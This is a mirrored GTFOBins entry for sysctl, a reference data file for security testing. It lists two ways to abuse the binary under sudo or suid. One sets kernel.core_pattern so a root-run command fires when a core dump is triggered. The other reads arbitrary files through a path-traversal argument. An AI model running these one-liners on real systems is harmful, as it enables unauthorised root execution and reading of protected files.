1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/sysctl
2026-01-14 01:08:38 +01:00

30 lines
569 B
Plaintext

---
functions:
command:
- blind: true
code: |-
sysctl 'kernel.core_pattern=|/path/to/command'
comment: |-
The command is executed by `root` in the background when a core dump occurs.
To trigger a core dump, send the `SIGQUIT` signal to a process, for example:
```
sleep infinity &
kill -QUIT $!
```
contexts:
sudo:
suid:
file-read:
- binary: false
code: |-
sysctl -n "/../../path/to/input-file"
contexts:
sudo:
suid:
unprivileged:
version: |-
< 4
...